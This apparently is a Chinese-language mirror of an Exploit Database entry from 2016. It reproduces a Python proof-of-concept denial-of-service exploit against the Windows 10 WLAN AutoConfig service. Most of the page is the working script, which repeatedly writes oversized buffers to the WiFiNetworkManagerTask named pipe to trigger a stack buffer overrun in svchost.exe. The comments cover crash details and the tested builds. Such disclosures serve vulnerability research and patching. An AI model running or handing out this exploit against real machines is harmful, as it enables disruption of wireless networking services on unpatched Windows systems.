Microsoft Windows 10 (x86/x64) – WLAN AutoConfig Denial of Service (PoC)

• Exploit Database
• 113 阅读

• 作者： Jeremy Brown
  日期： 2016-12-06
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40883/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60

  #!/usr/bin/python # wlanautoconfig-poc.py # # Windows WLAN AutoConfig Named Pipe POC # # Jeremy Brown [jbrown3264/gmail] # Dec 2016 # # > wifinetworkmanager.dll!__FatalError(char const *,unsigned # long,char const *, ...) # AsyncPipe::ReadCompletedCallback(void) # AsyncPipe::Dispatch(int,void *,void *, ...) # Synchronizer::EnqueueEvent(...) # AsyncPipe::ReadCompletedStatic(...) # # --> STATUS_STACK_BUFFER_OVERRUN @ svchost.exe # # Tested: # # Windows 10 x86/x64 BUILD 10.0.14393 (vulnerable) # Windows Server 2012 R2 x64 (not vulnerable, service doesn&apos;t create pipe) # # Dependencies: # # pip install pypiwin32 # # Notes: # # This won&apos;t kill Wlansvc service, but the thread servicing the pipe will terminate #   import win32file import pywintypes import msvcrt   BUF_SIZE = 4096 PIPE_NAME = r&apos;\\.\pipe\WiFiNetworkManagerTask&apos;   def main(): try: handle = win32file.CreateFile(PIPE_NAME, win32file.GENERIC_WRITE, 0, None, win32file.OPEN_EXISTING, 0, None) except Exception: print("Error: CreateFile() failed\n") return   fd = msvcrt.open_osfhandle(handle, 0)   if(fd < 0): print("Error: open_osfhandle() failed\n") return   buf = bytearray(b&apos;\x42&apos; * BUF_SIZE)   # exact number here could vary, keeping it simple while True: win32file.WriteFile(handle, buf)     if __name__ == "__main__": main()